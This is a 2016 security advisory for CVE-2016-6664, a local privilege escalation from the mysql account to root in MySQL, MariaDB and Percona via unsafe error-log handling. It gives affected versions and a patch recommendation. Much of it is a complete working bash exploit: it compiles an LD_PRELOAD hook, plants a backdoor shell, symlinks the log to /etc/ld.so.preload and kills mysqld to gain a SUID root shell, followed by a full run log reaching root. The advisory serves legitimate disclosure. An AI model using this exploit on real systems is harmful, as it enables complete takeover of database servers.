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MySQL / MariaDB / PerconaDB Root Privilege Escalation

MySQL / MariaDB / PerconaDB Root Privilege Escalation
Posted Nov 2, 2016
Authored by Dawid Golunski

MySQL-based databases including MySQL, MariaDB and PerconaDB are affected by a privilege escalation vulnerability which can let attackers who have gained access to mysql system user to further escalate their privileges to root user allowing them to fully compromise the system. The vulnerability stems from unsafe file handling of error logs and other files.

tags | exploit, root
advisories | CVE-2016-6664
MD5 | 73b41ab8c5b59bd8889f73c2538d4f62

MySQL / MariaDB / PerconaDB Root Privilege Escalation

Change Mirror Download
=============================================
- Release date: 01.11.2016
- Discovered by: Dawid Golunski
- Severity: High/Critical
- CVE-2016-6664 / OCVE-2016-5617
- http://legalhackers.com
=============================================


I. VULNERABILITY
-------------------------

MySQL / MariaDB / PerconaDB - Root Privilege Escalation

MySQL
<= 5.5.51
<= 5.6.32
<= 5.7.14

MariaDB
All current

Percona Server
< 5.5.51-38.2
< 5.6.32-78-1
< 5.7.14-8

Percona XtraDB Cluster
< 5.6.32-25.17
< 5.7.14-26.17
< 5.5.41-37.0


II. BACKGROUND
-------------------------

MySQL:

"MySQL is the world's most popular open source database.
Whether you are a fast growing web property, technology ISV or large
enterprise, MySQL can cost-effectively help you deliver high performance,
scalable database applications."

"Many of the world's largest and fastest-growing organizations including
Facebook, Google, Adobe, Alcatel Lucent and Zappos rely on MySQL to save time
and money powering their high-volume Web sites, business-critical systems and
packaged software."

http://www.mysql.com/products/
http://www.mysql.com/why-mysql/

--

MariaDB:

"MariaDB is one of the most popular database servers in the world.
ItAAC/AC/aA!AC/aAC/s made by the original developers of MySQL and guaranteed to stay open source.
Notable users include Wikipedia, WordPress.com and Google.

MariaDB turns data into structured information in a wide array of applications,
ranging from banking to websites. It is an enhanced, drop-in replacement for MySQL.
MariaDB is used because it is fast, scalable and robust, with a rich ecosystem of
storage engines, plugins and many other tools make it very versatile for a wide
variety of use cases."

https://mariadb.org/about/

--

PerconaDB:

"Percona Server for MySQL is a free, fully compatible, enhanced, open source
drop-in replacement for MySQL that provides superior performance, scalability
and instrumentation.
With over 3,000,000 downloads, Percona ServerAAC/AC/aA!AC/aAC/s self-tuning algorithms and support
for extremely high-performance hardware delivers excellent performance and reliability."

https://www.percona.com/software/mysql-database/percona-server


III. INTRODUCTION
-------------------------

MySQL-based databases including MySQL, MariaDB and PerconaDB are affected
by a privilege escalation vulnerability which can let attackers who have
gained access to mysql system user to further escalate their privileges
to root user allowing them to fully compromise the system.
The vulnerability stems from unsafe file handling of error logs and
other files.


IV. DESCRIPTION
-------------------------

The error.log file on most default installations of MySQL/PerconaDB/MariaDB
databases is stored either in /var/log/mysql or /var/lib/mysql directory.

The permissions on the file and directory look as follows:

root@trusty:/var/lib/mysql# ls -la /var/log/mysql
total 468
drwxr-s--- 2 mysql adm 4096 Sep 11 06:25 .
drwxrwxr-x 36 root syslog 4096 Sep 11 06:25 ..
-rw-r----- 1 mysql adm 0 Sep 11 06:25 error.log

root@trusty:/var/lib/mysql# ls -lad /var/log/mysql
drwxr-s--- 2 mysql adm 4096 Sep 11 06:25 /var/log/mysql


mysqld_safe wrapper that is normally used for starting MySQL daemon and
creating/reopening the error.log performs certain unsafe file operations that
may allow attackers to gain root privileges.

The wrapper script contains a 'while' loop shown below which monitors the mysqld
process and performs a restart in case of the process failure.
The restart involves re-creation of the error.log file if syslog logging has
not been configured instead of error log files (file-based logging is the
default setting on most installations).


--------[ mysqld_safe ]--------
[...]

while true
do
rm -f "$pid_file" # Some extra safety

start_time=`date +%M%S`

eval_log_error "$cmd"

if [ $want_syslog -eq 0 -a ! -f "$err_log" ]; then
touch "$err_log" # hypothetical: log was renamed but not
chown $user "$err_log" # flushed yet. we'd recreate it with
chmod "$fmode" "$err_log" # wrong owner next time we log, so set
fi # it up correctly while we can!

[...]

-------------------------------

As can be seen, the error.log file is created (touch) and chowned to the user
running the mysqld daemon (typically 'mysql').

The operation is vulnerable to a symlink attack.

Attackers who obtained access to mysql account, through CVE-2016-6663
vulnerability described at:

http://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html

would gain access to /var/log or /var/lib/mysql directories (owned by mysql user)
and could therefore easily remove the error.log file and replace it
with a symlink to an arbitrary system file and escalate privileges.

The privilege escalation could be triggered instantly (without the need to wait
for mysql service restart/reboot) by attackers having 'mysql' account by simply
killing the mysqld child process (launched by the mysqld_safe wrapper).

When the mysqld process gets terminated, the wrapper will then re-itertate the
loop shown above and immediately create a mysql-owned file in the location
specified by the attacker in the symlink thus allowing attackers to quickly
escalate their privileges.


V. PROOF OF CONCEPT EXPLOIT
-------------------------

-------[ mysql-chowned.sh ]------

#!/bin/bash -p
#
# MySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit
# mysql-chowned.sh (ver. 1.0)
#
# CVE-2016-6664 / OCVE-2016-5617
#
# Discovered and coded by:
#
# Dawid Golunski
# dawid[at]legalhackers.com
#
# https://legalhackers.com
#
# Follow https://twitter.com/dawid_golunski for updates on this advisory.
#
# This PoC exploit allows attackers to (instantly) escalate their privileges
# from mysql system account to root through unsafe error log handling.
# The exploit requires that file-based logging has been configured (default).
# To confirm that syslog logging has not been enabled instead use:
# grep -r syslog /etc/mysql
# which should return no results.
#
# This exploit can be chained with the following vulnerability:
# CVE-2016-6663 / OCVE-2016-5616
# which allows attackers to gain access to mysql system account (mysql shell).
#
# In case database server has been configured with syslog you may also use:
# CVE-2016-6662 as an alternative to this exploit.
#
# Usage:
# ./mysql-chowned.sh path_to_error.log
#
#
# See the full advisory for details at:
# https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html
#
# Video PoC:
# https://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html
#
# Disclaimer:
# For testing purposes only. Do no harm.
#

BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/mysqlrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"

function cleanexit {
# Cleanup
echo -e "\n[+] Cleaning up..."
rm -f $PRIVESCSRC
rm -f $PRIVESCLIB
rm -f $ERRORLOG
touch $ERRORLOG
if [ -f /etc/ld.so.preload ]; then
echo -n > /etc/ld.so.preload
fi
echo -e "\n[+] Job done. Exiting with code $1 \n"
exit $1
}

function ctrl_c() {
echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."
cleanexit 0
}

#intro
echo -e "\033[94m \nMySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit \nmysql-chowned.sh (ver. 1.0)\n\nCVE-2016-6664 / OCVE-2016-5617\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"

# Args
if [ $# -lt 1 ]; then
echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
echo -e "It seems that this server uses: `ps aux | grep mysql | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
exit 3
fi

# Priv check

echo -e "\n[+] Starting the exploit as \n\033[94m`id`\033[0m"
id | grep -q mysql
if [ $? -ne 0 ]; then
echo -e "\n[!] You need to execute the exploit as mysql user! Exiting.\n"
exit 3
fi

# Set target paths
ERRORLOG="$1"
if [ ! -f $ERRORLOG ]; then
echo -e "\n[!] The specified MySQL catalina.out log ($ERRORLOG) doesn't exist. Try again.\n"
exit 3
fi
echo -e "\n[+] Target MySQL log file set to $ERRORLOG"

# [ Active exploitation ]

trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("$BACKDOORPATH", 0, 0);
chmod("$BACKDOORPATH", 04777);
//unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
cleanexit 2;
fi


# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check
if [ -f /etc/ld.so.preload ]; then
echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
exit 2
fi

# Symlink the log file to /etc
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
cleanexit 3
fi
echo -e "\n[+] Symlink created at: \n`ls -l $ERRORLOG`"

# Wait for MySQL to re-open the logs
echo -ne "\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n"
read -p "Do you want to kill mysqld process to instantly get root? :) ? [y/n] " THE_ANSWER
if [ "$THE_ANSWER" = "y" ]; then
echo -e "Got it. Executing 'killall mysqld' now..."
killall mysqld
fi
while :; do
sleep 0.1
if [ -f /etc/ld.so.preload ]; then
echo $PRIVESCLIB > /etc/ld.so.preload
rm -f $ERRORLOG
break;
fi
done

# /etc/ dir should be owned by mysql user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
chmod 755 /etc/ld.so.preload

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo 2>/dev/null >/dev/null

#while :; do
# sleep 0.1
# ps aux | grep mysqld | grep -q 'log-error'
# if [ $? -eq 0 ]; then
# break;
# fi
#done

# Check for the rootshell
ls -l $BACKDOORPATH
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then
echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
echo -e "\n\033[94mGot root! The database server has been ch-OWNED !\033[0m"
else
echo -e "\n[!] Failed to get root"
cleanexit 2
fi


# Execute the rootshell
echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
$BACKDOORPATH -p

# Job done.
cleanexit 0



------------EOF------------------


Example run
~~~~~~~~~~~~~~~

mysql_suid_shell.MYD-4.3$ whoami
mysql

omysql_suid_shell.MYD-4.3$ dpkg -l | grep percona-server-server
iU percona-server-server 5.6.32-78.0-1.xenial amd64 Percona Server database server
iF percona-server-server-5.6 5.6.32-78.0-1.xenial amd64 Percona Server database server binaries

mysql_suid_shell.MYD-4.3$ ./mysql-chowned.sh /var/lib/mysql/xenial-percona.err

MySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit
mysql-chowned.sh (ver. 1.0)

CVE-2016-6664 / OCVE-2016-5617

Discovered and coded by:

Dawid Golunski
http://legalhackers.com

[+] Starting the exploit as
uid=1001(attacker) gid=1001(attacker) euid=107(mysql) groups=1001(attacker)

[+] Target MySQL log file set to /var/lib/mysql/xenial-percona.err

[+] Compiling the privesc shared library (/tmp/privesclib.c)

[+] Backdoor/low-priv shell installed at:
-rwxr-xr-x 1 mysql attacker 1037528 Nov 1 05:08 /tmp/mysqlrootsh

[+] Symlink created at:
lrwxrwxrwx 1 mysql attacker 18 Nov 1 05:08 /var/lib/mysql/xenial-percona.err -> /etc/ld.so.preload

[+] Waiting for MySQL to re-open the logs/MySQL service restart...
Do you want to kill mysqld process to instantly get root? :) ? [y/n] y
Got it. Executing 'killall mysqld' now...

[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges:
-rw-r----- 1 mysql root 19 Nov 1 05:08 /etc/ld.so.preload

[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload

[+] The /etc/ld.so.preload file now contains:
/tmp/privesclib.so

[+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!
-rwsrwxrwx 1 root root 1037528 Nov 1 05:08 /tmp/mysqlrootsh

[+] Rootshell got assigned root SUID perms at:
-rwsrwxrwx 1 root root 1037528 Nov 1 05:08 /tmp/mysqlrootsh

Got root! The database server has been ch-OWNED !

[+] Spawning the rootshell /tmp/mysqlrootsh now!

mysqlrootsh-4.3# whoami
root

mysqlrootsh-4.3# exit
exit

[+] Cleaning up...

[+] Job done. Exiting with code 0



Video PoC:
~~~~~~~~~~~~

http://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html


VI. BUSINESS IMPACT
-------------------------

Although the severity of this issue is lower on its own (attackers need to
gain access to mysql system user), the vulnerability could easily be combined
with the CVE-2016-6663 issue.
The combination of the two would effectively allow low privileged local
database users to escalate their system privileges to root system account and
allow them to fully compromise the server which increases the severity of this
issue.


VII. SYSTEMS AFFECTED
-------------------------

MySQL
<= 5.5.51
<= 5.6.32
<= 5.7.14

MariaDB
All current

Percona Server
< 5.5.51-38.2
< 5.6.32-78-1
< 5.7.14-8

Percona XtraDB Cluster
< 5.6.32-25.17
< 5.7.14-26.17
< 5.5.41-37.0

VIII. SOLUTION
-------------------------

Vendors have released patches after private disclosure.
Update to the latest version of your DBMS.


IX. REFERENCES
-------------------------

http://legalhackers.com

This advisory:
http://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html

Exploit source code:
http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.sh

Related mysql vulnerabilities discovered by the author of thid advisory that can be chained with
the CVE-2016-6664 vulnerability:

CVE-2016-6663:
http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html
CVE-2016-6662:
http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html


Video PoC:
http://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html

CVE-2016-6664
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6664

Oracle CPU:
http://www.oracle.com/technetwork/security-advisory/cpuoct2016-2881722.html#AppendixMSQL



X. CREDITS
-------------------------

The vulnerability has been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com

http://legalhackers.com

XI. REVISION HISTORY
-------------------------

01.11.2016 - Advisory released


XII. LEGAL NOTICES
-------------------------

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.

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